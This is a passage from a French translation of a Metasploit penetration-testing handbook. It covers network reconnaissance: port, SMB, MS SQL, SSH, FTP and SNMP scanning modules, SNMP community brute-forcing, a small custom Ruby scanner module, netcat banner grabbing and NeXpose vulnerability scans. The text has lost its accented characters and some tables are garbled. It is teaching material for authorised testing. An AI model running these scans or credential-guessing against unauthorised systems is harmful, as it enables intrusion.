| OS: Windows XP (Windows 2000 LAN Manager)
| Name: WORKGROUP\IHAZSECURITY
|_smbv2-enabled: Server doesnt support SMBv2 protocol

OS and Service detection performed. Please report any incorrect results
at http://nmap.org/submit/.
Remarquez une srie de ports ouverts , les versions des logiciels et
mme une prdiction du systme dexploitation de la cible .
Pour vrifier que les rsultats du scan ont bien t stocks dans la base de
donnes, on excute db_services :
msf > db_services
Services
========

host port proto name state info
---- ---- ----- ---- ----- ----
172.16.32.131 135 tcp msrpc open Microsoft Windows RPC
172.16.32.131 139 tcp
netbios-
ssn
open
172.16.32.131 445 tcp
microsoft-
ds
open
Microsoft Windows XP
microsoft-ds
172.16.32.131 777 tcp unknown open
172.16.32.131 1433 tcp ms-sql-s open
Microsoft SQL Server
2005 9.00.1399; RTM
L, nous commenons nous faire une ide de la cible ainsi que des ports
exposs qui pourraient tre utiliss comme potentiels vecteurs dattaque.
Scan de ports avec Metasploit
En plus de sa capacit utiliser des scanners tiers, Metasploit compte
plusieurs scanners de ports dans ses modules auxiliaires qui sintgrent
directement avec la plupart des aspects du framework. Dans les
prochains chapitres, nous les utiliserons ces scanners de ports pour
profiter des systmes compromis afin dy accder et de les attaquer. Le
processus en question, souvent appel pivoting, permet dutiliser des
systmes interconnects pour router le trafic vers un rseau qui serait
autrement inaccessible.
Par exemple, supposons que vous compromettiez un systme derrire un
pare-feu implmentant du NAT (Network Address Translation). Le
systme derrire le pare-feu utilise des adresses IPs prives auxquelles
vous ne pouvez accder directement depuis Internet. En utilisant
Metasploit pour compromettre un systme masqu par du NAT, vous
pourriez vous appuyer sur le systme interne compromis pour contourner
le pare-feu et accder au rseau interne de la cible.
Pour voir la liste des scanners de ports disposition du framework, entrez
la commande suivante :
msf > search portscan
Excutons un simple scan sur un seul hte en utilisant le scanner intgr
Metasploit SYN Port Scanner. Nous commenons un scan en utilisant use
scanner/portscan/syn, set RHOSTS 192.168.1.155, set THREADS 50,
puis run.
msf > use scanner/portscan/syn
msf auxiliary(syn) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(syn) > set THREADS 50
THREADS => 50
msf auxiliary(syn) > run
[*] TCP OPEN 192.168.1.155:135
[*] TCP OPEN 192.168.1.155:139
[*] TCP OPEN 192.168.1.155:445
msf auxiliary(syn) >
Daprs les rsultats , on constate que les ports 135, 139 et 445 sont
ouverts sur 192.168.1.155.
Scan cibl
Lors dun pentest, il ny a aucune honte rechercher une victoire facile.
Un scan cibl cherche des systmes dexploitation spcifiques ainsi que
des services, des versions de programmes ou des configurations quon
sait exploitables, ce qui offre une porte dentre facile dans un rseau
cible. Par exemple, il est commun de scanner un rseau cible la
recherche de la faille MS08-067, puisque cest (encore) une faille
extrmement rpandue qui vous donnera laccs SYSTEM plus
rapidement quen scannant le rseau entier la recherche de
vulnrabilits.
Scan de Server Message Block
Metasploit peut parcourir un rseau et essayer didentifier les versions de
Microsoft Windows en utilisant le module smb_version.
Note
Si vous ntes pas familiers avec le SMB (Server Message Block, un
protocole de partage de fichiers), tudiez un peu plus les diffrents
protocoles avant de continuer. Vous devrez comprendre le
fonctionnement de base des ports afin dapprendre attaquer un systme
avec succs.
Nous excutons le module, rglons les options, le RHOSTS et
commenons le scan :
msf > use scanner/smb/smb_version
msf auxiliary(smb_version) > show options

Module options:

Name
Current
Setting
----
-----------
----
-------- -----------
RHOSTS yes
The target address range or
CIDR identifier
THREADS 1 yes
threads

msf auxiliary(smb_version) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(smb_version) > run

[*]
192.168.1.155 is running Windows XP Service Pack 2
(language: English)
(name:DOOKIE-FA154354) (domain:WORKGROUP)
Comme vous pouvez le voir en , le scanner smb_version a prcis
exactement le systme dexploitation comme Windows XP Service
Pack 2. Puisque nous scannons seulement un systme, nous laissons
THREADS 1. Si nous devions scanner plusieurs systmes, tel un sous-
rseau de classe C, nous pourrions prendre en considration une
augmentation de la valeur de THREADS en utilisant loption use
THREADS nombre. Les rsultats de ce scan seront stocks dans la base
de donnes de Metasploit pour une utilisation ultrieure et on pourra y
accder laide de la commande db_hosts.
msf auxiliary(smb_version) > db_hosts -c address,os_flavor

Hosts
=====

address os_flavor Svcs Vulns Workspace
------- --------- ---- ----- ---------
192.168.1.155 Windows XP 3 0 default
msf auxiliary(smb_version) >
Nous avons dcouvert un systme sous Windows XP sans avoir faire un
scan sur tout le rseau. Cela est un excellent moyen pour cibler
rapidement des htes vulnrables sans pour autant se faire remarquer.
la recherche de serveurs Microsoft SQL mal configurs
Les serveurs Microsoft SQL (MS SQL) mal configurs peuvent souvent
fournir une voie daccs dans un rseau cible. En fait, beaucoup
dadministrateurs systme ne se rendent mme pas compte quils
administrent des machines excutant MS SQL puisque le service est
prinstall car requis par un certain logiciel commun (Microsoft Visual
Studio, par exemple). Ces installations sont souvent inutilises, non mises
jour voire nont jamais t configures.
Quand MS SQL est install, il coute, par dfaut, sur le port TCP 1433 ou
sur un port TCP dynamique. Dans ce dernier cas, interrogez le port
UDP 1434 pour le dcouvrir. Bien videmment, Metasploit dispose dun
module permettant de se servir de cette "caractristique" : mssql_ping.
Puisque mssql_ping utilise le protocole UDP, il peut tre lent si lon
scanne un sous-rseau entier cause des problmes dus aux timeouts.
Tandis que sur un rseau local (LAN), paramtrer THREADS 255
acclrera normment le scan. Lorsque Metasploit trouve des serveurs
MS SQL, il affiche tous les dtails quil peut en extraire, incluant le port
TCP, peut-tre le plus important, sur lequel le serveur est en coute.
Voici comment vous pourriez excuter un scan mssql_ping incluant la
liste et le rglage des options, les rsultats et le droulement du scan en
lui-mme.
msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options

Module options:

---- ------- ------- -------- -----------
PASSWORD no
The password for the
specified username
RHOSTS yes
or CIDR identifier
THREADS 1 yes
The number of
concurrent threads
USERNAME sa no
The username to
authenticate as
WORKSPACE no
The name of the
workspace to report data
into

msf auxiliary(mssql_ping) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(mssql_ping) > set THREADS 255
THREADS => 255
msf auxiliary(mssql_ping) > run

[*] SQL Server information for 192.168.1.155:
[*] ServerName = V-XPSP2-BARE
[*] InstanceName = SQLEXPRESS
[*] IsClustered = No
[*] Version = 10.0.1600.22
[*] tcp = 1433
Comme vous pouvez le voir, non seulement le scanner localise un serveur
MS SQL , mais il identifie aussi le nom de linstance , la version du
serveur SQL ainsi que le numro du port TCP sur lequel il coute.
Pensez au temps que vous conomisez avec ce scan cibl au lieu
dutiliser nmap pour scanner tous les ports de toutes les machines dun
sous-rseau dans la recherche du port TCP en question.
Scan de serveurs SSH
Si, pendant un scan, vous trouvez des machines excutant )" \b SSH
(Secure Shell), vous devriez dterminer la version de ce dernier sur la
cible. SSH tant un protocole scuris, diverses vulnrabilits ont t
identifies dans ses implmentations. Vous pourriez tre chanceux et
trouver une vieille machine qui na pas t mise jour. Vous pouvez
utiliser le module ssh_version du framework pour dterminer la version
SSH du serveur cible.
msf > use scanner/ssh/ssh_version
msf auxiliary(ssh_version) > set THREADS 50
THREADS => 50
msf auxiliary(ssh_version) > run

[*] 192.168.1.1:22, SSH server version: SSH-2.0-dropbear_0.52
[*]
192.168.1.101:22, SSH server version: SSH-2.0-OpenSSH_5.1p1
Debian-3ubuntu1
[*]
192.168.1.153:22, SSH server version: SSH-2.0-OpenSSH_4.3p2
Debian-8ubuntu1
[*] 192.168.1.185:22, SSH server version: SSH-2.0-OpenSSH_4.3
Cela signifie que quelques serveurs fonctionnent des niveaux de mise
jour diffrents. Cette information peut tre utile si, par exemple, nous
voulons attaquer une version spcifique dOpenSSH comme celle que
nous avons trouve lors du scan ssh_version.
Scan FTP
Le FTP est un protocole compliqu et peu sr. Les serveurs FTP sont
souvent la voie la plus facile dans un rseau cible et vous devriez toujours
scanner et identifier tous les serveurs FTP fonctionnant sur votre cible.
Ensuite, nous scannons la cible XP la recherche de services FTP en
utilisant le module ftp_version du framework :
msf > use scanner/ftp/ftp_version
msf auxiliary(ftp_version) > show options

Module options:

---- --------------- -------- -----------
FTPPASS mozilla@example.com no
The password
for the
specified
username
FTPUSER anonymous no
The
username to
authenticate
as
RHOSTS yes
The target
address range
or CIDR
identifier
RPORT 21 yes
The target
port
THREADS 1 yes
The number
of concurrent
threads
WORKSPACE no
The name of
the
workspace to
report data
into

msf auxiliary(ftp_version) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ftp_version) > set THREADS 255
THREADS => 255
msf auxiliary(ftp_version) > run

[*] 192.168.1.155:21 FTP Banner: Minftpd ready
Le scanner identifie avec succs un serveur FTP . Voyons maintenant si
ce serveur permet des connexions anonymes utilisant le
scanner/ftp/anonymous du framework.
msf > use auxiliary/scanner/ftp/anonymous
msf auxiliary(anonymous) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(anonymous) > set THREADS 50
THREADS => 50
msf auxiliary(anonymous) > run

[*]
192.168.1.155:21 Anonymous READ/WRITE (220 Minftpd
ready)
Le scanner signale en que laccs anonyme est permis et que les
utilisateurs anonymes ont les droits de lecture et dcriture sur le serveur.
Autrement dit, nous avons entirement accs au systme distant et tous
les fichiers auxquels le serveur FTP peut accder.
Balayage de SNMP (Simple Network Management Protocol)
Le SNMP (Simple Network Management Protocol) est typique des
dispositifs rseaux qui couvrent lutilisation de la bande passante, les taux
de collision ainsi que dautres informations. Cependant, certains systmes
dexploitation ont aussi des serveurs SNMP fournissant des informations,
notamment lutilisation du processeur, la mmoire disponible et dautres
dtails propres au systme.
Les comodits configures par administrateur systme peuvent devenir
une mine dor pour le pentester puisque les serveurs SNMP offrent des
informations considrables sur un systme spcifique et peuvent mme
vous aider compromettre un systme distant. Si, par exemple, vous
pouvez accder la communaut read/write dun routeur Cisco, vous
pouvez tlcharger la configuration entire du routeur, le modifier et le
renvoyer celui-ci.
Le framework Metasploit inclut un module auxiliaire appel
scanner/snmp/snmp_enum conu spcifiquement pour des numrations
SNMP. Avant de commencer le scan, gardez lesprit que les
communauts SNMP en lecture seule (RO) et en lecture/criture (RW)
joueront un rle important dans le type dinformations que vous pourrez
extraire dun dispositif donn. Sur des dispositifs Windows configurs
avec SNMP, vous pouvez souvent utiliser les communauts RO ou RW
pour extraire le niveau du patch, les services en cours dexcution, les
noms dutilisateurs, luptime, les routes et dautres informations qui
peuvent faciliter les choses durant un pentest. Les communauts SNMP
sont essentiellement des mots de passe utiliss pour demander des
informations ou pour crire la configuration dun appareil.
Aprs avoir devin les identifiants, le SNMP (selon la version) permet
tout : depuis une rvlation excessive des informations jusqu la
compromission dun systme entier. SNMPv1 et v2 sont des protocoles
imparfaits. SNMPv3, qui fusionne le chiffrement et de meilleurs
mcanismes de contrle, est significativement plus scuris. Pour obtenir
laccs un switch, vous devrez dabord tenter de trouver ses
communauts. Le module scanner/snmp/snmp_login du framework
essaiera une liste de mots contre une ou plusieurs adresses IPs.
msf > use use scanner/snmp/snmp_login
msf auxiliary(snmp_login) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(snmp_login) > set THREADS 50
THREADS => 50
msf auxiliary(snmp_login) > run

[*] >> progress (192.168.1.0-192.168.1.255) 0/30208...
[*] 192.168.1.2 public GSM7224 L2 Managed Gigabit Switch
[*]
[*]
msf auxiliary(snmp_login) >
Une rapide recherche Google sur GSM7224 montre que le scanner a
trouv les identifiants publics et privs dun switch Netgear. Croyez-
le ou non, ce rsultat na pas t mis en place pour ce livre. Il sagit des
rglages dusine par dfaut pour ce switch.
Vous rencontrerez souvent des situations poustouflantes comme celle-ci
pendant votre carrire de pentester, puisque beaucoup dadministrateurs
utilisent des appareils dans un rseau avec leurs rglages par dfaut. La
situation est encore plus effrayante quand vous pensez que ces appareils
sont accessibles depuis Internet dans de grandes socits.
Beaucoup dapplications et de services manquent de modules
personnaliss dans Metasploit. Heureusement, le framework a beaucoup
de fonctionnalits qui peuvent tre utiles quand vous dveloppez un
scanner personnalis, y compris laccs toutes les classes et mthodes
de ses exploits, un support pour les proxies, SSL (Secure Sockets Layer),
les rapports et les threads. Ce peut tre dune grande utilit de dvelopper
son propre scanner pendant les audits de scurit. Ce faisant, vous
localiserez plus rapidement de mauvais mots de passe ou des services non
corrigs sur un systme cible.
Les modules de scan du framework Metasploit incluent divers mixins (des
bouts de code avec des fonctions et des appels prdfinis qui sont
prconfigurs) tels que les mixins dexploit pour TCP, SMB, etc., ainsi
que des mixins de scanners auxiliaires inclus dans le framework. Le
mixin Auxiliary::Scanner surcharge la mthode auxiliaire run ; il appelle
la mthode du module lors de lexcution avec run_host(ip),
run_range(range) ou run_batch(batch) et traite ensuite les adresses IP.
Nous pouvons utiliser le Auxiliary::Scanner pour appeler des
fonctionnalits Metasploit printgres supplmentaires.
Ci-aprs, un script Ruby pour un simple scanner TCP qui se connectera
un hte distant sur le port 12354 pour envoyer "HELLO SERVER",
recevoir la rponse du serveur et qui laffichera avec ladresse IP du
serveur.
#Metasploit
require msf/core
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize
super(
Name => My custom TCP scan,
Version => $Revision: 1 $,
Description => My quick scanner,
Author => Your name here,
License => MSF_LICENSE
)
register_options(
[
Opt::RPORT(12345)
], self.class)
end
def run_host(ip)
connect()
sock.puts(HELLO SERVER)
data = sock.recv(1024)
print_status("Received: #{data} from #{ip}")
disconnect()
end
end
Ce simple scanner utilise le mixin Msf::Exploit::Remote::Tcp pour grer
le rseau TCP ainsi que le mixin Msf::Auxiliary::Scanner qui expose les
divers rglages exigs pour les scanners dans le framework . Ce
scanner, configur pour utiliser le port par dfaut 12345 , envoie un
message pendant la connexion au serveur , reoit la rponse du serveur
et laffiche lcran avec ladresse IP de ce dernier .
Nous avons enregistr ce script personnalis sous
modules/auxiliary/scanner/ en tant que simple_tcp.rb. Lemplacement de
la sauvegarde est important dans Metasploit. Par exemple, si le module est
sauvegard sous modules/auxiliary/scanner/http/, il apparat sur la liste de
modules sous le nom de scanner/http/simple_tcp.
Pour tester ce scanner rudimentaire, nous enregistrons la rponse notre
serveur dans un fichier texte puis mettons en place un listener netcat sur
le port 12345 qui renverra le contenu de ce fichier lorsque notre scanner
sy connectera :
root@bt:/# echo "Hello Metasploit" > banner.txt
root@bt:/# nc -lvnp 12345 < banner.txt
listening on [any] 12345...
Ensuite, nous lanons msfconsole, choisissons le module du scanner,
rglons ses paramtres et lexcutons pour voir si a fonctionne.
msf > use auxiliary/scanner/simple_tcp
msf auxiliary(simple_tcp) > show options

Module options:

Name
Current
Setting
----
------------
---
-------- -----------
RHOSTS yes
CIDR identifier
THREADS 1 yes
threads

msf auxiliary(simple_tcp) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf auxiliary(simple_tcp) > run

[*] Received: Hello Metasploit from 192.168.1.101
msf auxiliary(simple_tcp) >
Bien quil sagisse ici dun exemple simple, le niveau de souplesse
accord par le framework Metasploit peut aider grandement quand vous
devez rapidement excuter un code personnalis au milieu dun pentest.
Nous esprons que cet exemple simple puisse dmontrer la puissance du
framework et du code modulaire. Bien sr, vous ne devez pas tout faire
la main.
Perspectives
Dans ce chapitre, vous avez appris mettre profit le framework
Metasploit des fins de collecte dinformations comme dcrit dans le
PTES. La collecte de renseignements exige de la pratique et une
comprhension profonde de la faon dont une organisation fonctionne
pour identifier les potentiels vecteurs dattaque. Comme pour toute chose,
vous devrez vous adapter et amliorer vos propres mthodologies au
cours de votre carrire de pentester. Souvenez-vous juste que votre but
principal durant cette phase est dapprendre tout ce que vous pouvez sur
la socit attaquer. Peu importe que vous effectuiez votre pentest
travers Internet, un rseau interne, sans fil ou via lingnierie sociale, les
buts de la collecte dinformations seront toujours les mmes.
Au chapitre suivant, nous tudierons une autre tape importante de
lanalyse de vulnrabilits : le scan de vulnrabilit automatis. Au cours
des autres chapitres, nous explorerons des exemples approfondis de la
faon dont on cre ses propres modules, exploits et scripts Meterpreter.
4
Le scan de vulnrabilit
Sommaire
Le scan de vulnrabilit de base
Scan avec NeXpose
Lassistant "nouveau site"
Le nouvel assistant pour les scans manuels
Scan avec Nessus
Scanners de vulnrabilit spcialiss
Utilisation des rsultats de scan pour Autopwning
Un scanner de vulnrabilit est un programme automatis conu pour
rechercher des faiblesses dans les ordinateurs, les systmes
informatiques, les rseaux et les applications. Le programme sonde un
systme par lenvoi de donnes via un rseau et analyse les rponses
reues, dans le but dnumrer les vulnrabilits prsentes sur la cible en
prenant pour rfrence sa base de donnes de vulnrabilits.
Les systmes dexploitation ont tendance ragir diversement lorsquils
reoivent des paquets rseaux particuliers en raison des diffrences
dimplmentation de leurs couches rseaux respectives. Ces rponses
uniques servent dempreintes que le scanner de vulnrabilit utilise pour
dterminer la version du systme dexploitation et mme son niveau de
patch. Il peut galement utiliser un ensemble dinformations
dauthentification pour se connecter au systme distant et lnumration
des logiciels et des services pour dterminer sils sont patchs. Avec les
rsultats obtenus, le scanner prsente un rapport dcrivant les
vulnrabilits dtectes sur le systme et utile pour les administrateurs
rseau et les pentesters.
Les scanners de vulnrabilit crent beaucoup de trafic sur un rseau et
ne sont donc gnralement pas utiliss dans un test de pntration lorsque
lun des objectifs est de passer inaperu. Si toutefois vous excutez un
test de pntration et que la furtivit nest pas un problme, un scanner de
vulnrabilit peut vous viter davoir sonder manuellement les systmes
pour dterminer leurs niveaux de patch et leurs vulnrabilits.
Que vous utilisiez un scanner automatique ou que vous le fassiez
manuellement, le scan est une des tapes les plus importantes dans le
processus de tests de pntration. Ralis de manire complte, il
fournira le meilleur rendement pour votre client. Dans ce chapitre, nous
allons parler dun certain nombre de scanners de vulnrabilit et de la
faon dont ils peuvent tre intgrs dans Metasploit. Nous allons mettre
en vidence certains modules auxiliaires dans le framework Metasploit
qui permettent de localiser les vulnrabilits spcifiques des systmes
distants.
Regardons comment fonctionne un scan au niveau le plus lmentaire.
Sur la liste suivante, nous utilisons netcat pour rcuprer une bannire de
la cible 192.168.1.203. Le banner grabbing consiste se connecter un
service rseau distant et rcuprer lidentification du service
(bannire) qui est retourn. De nombreux services rseau tels que le
Web, le transfert de fichiers, les serveurs de messagerie, retournent leur
bannire soit immdiatement lors de la connexion soit en rponse une
commande spcifique. Ici, nous nous connectons un serveur web sur le
port TCP 80 et mettons une requte GET HTTP qui nous permet de
regarder les informations den-tte que le serveur distant retourne.
root@bt:/opt/framework3/msf3# nc 192.168.1.203 80
GET HTTP 1/1
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.1
Linformation retourne en nous dit que le systme fonctionnant sur le
port 80 est un serveur web Microsoft IIS 5.1. Forts de cette information,
nous pourrions utiliser un scanner de vulnrabilit (voir Figure 4.1), pour
dterminer si cette version dIIS a des vulnrabilits qui lui sont associes
et si ce serveur particulier a t mis jour.
Bien sr, dans la pratique, ce nest pas aussi simple que cela. Les scans
de vulnrabilit contiennent souvent de nombreux faux positifs
(vulnrabilit signale l o il ny en a pas) et de faux ngatifs (chec de
reconnaissance dune vulnrabilit l o il en existe une) en raison de
subtiles diffrences de configuration dans les systmes et les applications.
De plus, les crateurs de scanners de vulnrabilit sont incits signaler
des positifs : plus un scanner de vulnrabilit en trouve, plus il plaira un
acheteur potentiel. Les scanners de vulnrabilit sont aussi bons que leur
base de donnes de vulnrabilits, et ils peuvent facilement tre dups
par des bannires trompeuses ou des configurations incohrentes.
Jetons un coup dil quelques-uns des scanners de vulnrabilit les plus
utiles : NeXpose, Nessus et certains scanners spcialiss.
Figure 4.1
Rsultats du scan de vulnrabilit contre le serveur web cible.
Scan avec NeXpose
NeXpose est un scanner de vulnrabilit de la socit Rapid7 qui scanne
les rseaux pour identifier les appareils connects et qui effectue des
contrles de scurit pour identifier les faiblesses dans les systmes
dexploitation et les applications. Il analyse ensuite les donnes scannes
et les traite pour linclusion dans diffrents rapports.
Rapid7 propose plusieurs versions de NeXpose, mais nous allons utiliser
ldition communautaire parce quelle est gratuite. Si vous prvoyez
dutiliser commercialement NeXpose, consultez le site Rapid7
(http://www.rapid7.com/vulnerability-scanner.jsp) pour obtenir des
informations sur les diffrentes versions, leurs capacits et leurs tarifs.
Notre cible pour ce scan sera un Windows XP SP2 par dfaut tel que
configur dans lannexe A. Nous allons dabord effectuer un scan ouvert
de notre cible et importer les rsultats du scan de vulnrabilit dans
Metasploit. Nous terminerons cette section en montrant comment
excuter un scan de vulnrabilit avec NeXpose directement partir de
msfconsole plutt que dutiliser linterface utilisateur graphique base sur
le Web, ce qui limine la ncessit dimporter un rapport danalyse.
Configuration
Aprs avoir install NeXpose Communauty, ouvrez un navigateur web et
accdez https://<votreadresseip>:3780. Acceptez le certificat NeXpose
autosign et connectez-vous en utilisant les informations
dauthentification que vous avez cres lors de linstallation. Vous
devriez maintenant voir une interface identique celle montre en
Figure 4.2 (vous trouverez des instructions dinstallation compltes pour
NeXpose sur le site de Rapid7).
Sur la page principale de NeXpose, vous remarquerez un certain nombre
donglets en haut de linterface :
Longlet Assets affiche des dtails sur les ordinateurs et
dautres appareils sur le rseau aprs quils ont t scanns.
Longlet Reports liste les rapports de scans de vulnrabilit
aprs quils ont t gnrs.
Longlet Vulnerabilities donne des dtails sur toutes les
vulnrabilits dcouvertes lors des scans.
Longlet Administration permet de configurer diffrentes
options.
Figure 4.2
Lcran daccueil initial de NeXpose.
Les boutons dans le corps principal de la page permettent deffectuer des
tches courantes telles que la cration dun nouveau site ou la mise en
place dun nouveau scan de vulnrabilit.
Avant deffectuer un scan de vulnrabilit avec NeXpose, vous devez
configurer un site un ensemble logique de dispositifs comme un sous-
rseau spcifique, un ensemble de serveurs, ou mme un seul poste de
travail. Ces sites seront ensuite analyss par NeXpose, et diffrents types
de scans peuvent tre dfinis pour un site particulier.
1.Pour crer un site, cliquez sur le bouton New Site sur la
page daccueil de NeXpose, saisissez un nom pour votre site
et une brve description, puis cliquez sur Next.
2.Dans ltape des priphriques (voir Figure 4.3), vous
pouvez dfinir finement vos cibles : ajouter une seule adresse
IP, des plages dadresses, des noms dhtes et plus encore.
Vous pouvez galement dclarer des priphriques, tels que
des imprimantes, exclure des scans (souvent, les
imprimantes napprcient pas dtre scannes. Nous avons
vu des cas dans lesquels un scan de vulnrabilit simple a
provoqu la cration de plus dun million de pages de noir
pur places dans la file dattente pour tre imprimes !).
Cliquez sur Next lorsque vous avez termin dajouter et
dexclure des priphriques.
3.Lors de ltape de configuration du scan, vous pouvez
choisir parmi plusieurs diffrents modles de scan, tels que le
test Discovery Scan ou le Penetration Test. Slectionnez le
moteur danalyse que vous souhaitez utiliser ou planifiez un
scan automatis. Pour ce premier exercice, gardez les
options par dfaut et cliquez sur Next pour continuer.
4.Ajoutez des informations dauthentification (credentials)
sur le site scanner, si vous en avez. Ces informations
pourront aider obtenir des rsultats plus prcis et complets
par lnumration en profondeur des politiques systme et
des logiciels installs sur la cible.
5.Sur longlet Informations dauthentification, cliquez sur le
bouton New Login, tapez un nom dutilisateur et un mot de
passe pour ladresse IP scanner, puis cliquez sur Test Login
pour vrifier vos informations dauthentification, puis
enregistrez-les.
Figure 4.3
Ajout dun priphrique au nouveau site Nexpose.
6.Enfin, cliquez sur Save pour terminer lassistant du
nouveau site et revenir longlet Home, qui devrait
dsormais lister votre site nouvellement ajout (voir
Figure 4.4).
Figure 4.4
Longlet Home montre le site rcemment configur.
Avec votre nouveau site configur, vous tes maintenant prt
configurer votre premier scan :
1.Cliquez sur le bouton New Manual Scan (voir Figure 4.4).
Vous devriez voir la bote de dialogue Start New Scan (voir
Figure 4.5), qui vous demande les cibles que vous souhaitez
scanner ou exclure. Dans cet exemple, nous scannons notre
systme Windows XP par dfaut.
2.Vrifiez votre adresse IP cible deux fois afin dtre sr
que vous ntes pas sur le point de scanner par inadvertance
le mauvais priphrique ou le mauvais rseau, et cliquez sur
le bouton Start Now pour lancer le scan.
Figure 4.5
La fentre NeXpose de configuration du scan.
3.NeXpose devrait actualiser la page dynamiquement lors de
la progression du scan. Attendez jusqu ce que ltat de
Scan Progress et de Discovered Assets affiche Completed
(voir Figure 4.6). Sous la section Scan Progress, vous pouvez
voir que le seul appareil scann affiche 268 vulnrabilits
dtectes. Sous Discovered Assets sont fournies plus
dinformations sur la cible, comme le nom de lappareil et
son systme dexploitation. Maintenant, cliquez sur longlet
Reports.
Figure 4.6
Le scan et le rapport de NeXpose termin.
Lassistant ddition de nouveau rapport
Si cest votre premire utilisation de NeXpose et que vous ayez termin
un seul scan, longlet Reports doit montrer que vous navez gnr aucun
rapport.
1.Cliquez sur New Report (voir Figure 4.7) pour lancer
lassistant de cration de nouveau rapport.
Figure 4.7
Longlet Reports de NeXpose.
2.Entrez un nom qui vous convient puis, dans le champ
Report format, slectionnez NeXpose Simple XML Export
(voir Figure 4.8), de sorte que vous serez en mesure
dimporter les rsultats danalyse dans Metasploit. Vous
pouvez choisir parmi diffrents modles de rapports et
configurer le fuseau horaire si vous faites votre pentest sur la
route. Cliquez sur Next lorsque vous tes prt continuer.
Figure 4.8
Slection du nom et du format du rapport.
3.Dans la fentre suivante, ajoutez les priphriques que
vous souhaitez inclure dans le rapport en cliquant sur Select
Sites pour ajouter la plage de votre cible scanne (voir
Figure 4.9). Puis cliquez sur Save.
Figure 4.9
Slection du site pour une inclusion dans le rapport.
4.Dans la fentre Select Devices, slectionnez les cibles
inclure dans votre rapport puis cliquez sur Save.
5.De retour dans lassistant de configuration de rapports,
cliquez sur Save pour accepter les valeurs restantes par
dfaut pour le rapport. Longlet Reports devrait maintenant
lister le rapport nouvellement cr (voir Figure 4.10)
[assurez-vous denregistrer le fichier afin que vous puissiez
lutiliser avec le framework].
Figure 4.10
Longlet Reports liste vos rapports.
Importer le rapport dans le framework Metasploit
Aprs avoir effectu un scan de vulnrabilit complet avec NeXpose,
vous devez importer les rsultats dans Metasploit. Mais avant cela, vous
devez crer une nouvelle base de donnes partir de msfconsole via
db_connect. Ensuite, vous devez importer le fichier XML en utilisant la
commande db_import. Metasploit va automatiquement dtecter que le
fichier provient de NeXpose et importer lhte scann. Vous pouvez
ensuite vrifier que limportation a russi en excutant la commande
db_hosts (ces tapes sont illustres ci-aprs). Comme vous pouvez le voir
en , Metasploit connat dsormais les 268 vulnrabilits que votre scan a
rapportes.
msf > db_import /tmp/host_195.xml
[*] Importing NeXpose Simple XML data
[*] Importing host 192.168.1.195
[*] Successfully imported /tmp/host_195.xml

msf > db_hosts -c address,svcs,vulns

Hosts
=====

address Svcs Vulns Workspace
------- ---- ----- ---------
192.168.1.195 8 268 default
Pour afficher les dtails des vulnrabilits importes dans Metasploit, y
compris les scores Common Vulnerabilities and Exposures (CVE) et
nombre dautres rfrences, excutez la commande suivante :
msf > db_vulns
Comme vous pouvez le voir, lexcution dun scan de vulnrabilit avec
des identifiants daccs complets peut fournir une quantit incroyable
dinformations 268 vulnrabilits dcouvertes dans ce cas. Mais, bien
sr, cela a t un scan trs bruyant, susceptible dattirer lattention. Ces
types de scans de vulnrabilit sont mieux utiliss dans un pentest o la
furtivit nest pas ncessaire.
Excuter NeXpose dans msfconsole
Lexcution de NeXpose partir de linterface web est idale pour les
scans de vulnrabilit ncessitant des rglages prcis et la gnration de
rapports, mais si vous prfrez rester dans msfconsole, vous pouvez
toujours excuter des scans de vulnrabilit complets avec le plug-in
NeXpose inclus dans Metasploit.
Pour dmontrer la diffrence entre les rsultats dun scan lorsque nous
avons les identifiants daccs et lorsque nous ne les avons pas, nous allons
lancer un scan partir de Metasploit sans spcifier le nom dutilisateur et
le mot de passe pour le systme cible. Avant de commencer, supprimez
toutes les bases de donnes existantes avec db_destroy, crez une
nouvelle base de donnes dans Metasploit avec db_connect, puis chargez
le plug-in NeXpose avec la commande load nexpose comme illustr ci-
aprs :
msf > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:


msf > load nexpose

[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose
Une fois le plug-in NeXpose charg, jetez un coup dil aux commandes
charges spcifiquement pour le scanner de vulnrabilit en entrant la
commande help. Vous devriez voir, en haut, une srie de nouvelles
commandes propres lexcution de NeXpose.
msf > help
Avant de lancer votre premier scan partir de msfconsole, vous devez
vous connecter votre installation NeXpose. Entrez nexpose_connect -h
pour afficher la syntaxe requise pour vous connecter, ajoutez votre nom
dutilisateur, mot de passe et adresse de lhte, puis acceptez
lavertissement de certificat SSL en ajoutant ok la fin de la chane de
connexion :
msf > nexpose_connect -h
[*] Usage:
[*] nexpose_connect username:password@host[:port] <ssl-confirm>
[*] -OR-
[*] nexpose_connect username password host port <ssl-confirm>
msf > nexpose_connect dookie:s3cr3t@192.168.1.206 ok
[*]
Connecting to NeXpose instance at 192.168.1.206:3780 with
username dookie...
Maintenant, entrez nexpose_scan suivi de ladresse IP cible pour initier le
scan, comme illustr ci-aprs. Dans cet exemple, nous ne scannons
quune seule adresse IP, mais vous pouvez galement passer un certain
nombre dhtes au scanner (192.168.1.1-254) ou dun sous-rseau selon
la notation Classless Inter-Domain Routing (CIDR) [192.168.1.0/24].
msf > nexpose_scan 192.168.1.195
[*] Scanning 1 addresses with template pentest-audit in sets of 32
[*] Completed the scan of 1 addresses
msf >
Une fois le scan NeXpose termin, la base de donnes que vous avez
cre prcdemment devrait contenir les rsultats du scan de
vulnrabilit. Pour afficher les rsultats, entrez db_hosts, comme illustr
ci-aprs (dans cet exemple, la sortie a t produite en filtrant la colonne
dadresse).
msf > db_hosts -c address

Hosts
=====

address Svcs Vulns Workspace
------- ---- ----- ---------
192.168.1.195 8 7 default

msf >
Comme vous pouvez le voir, NeXpose a dcouvert sept vulnrabilits.
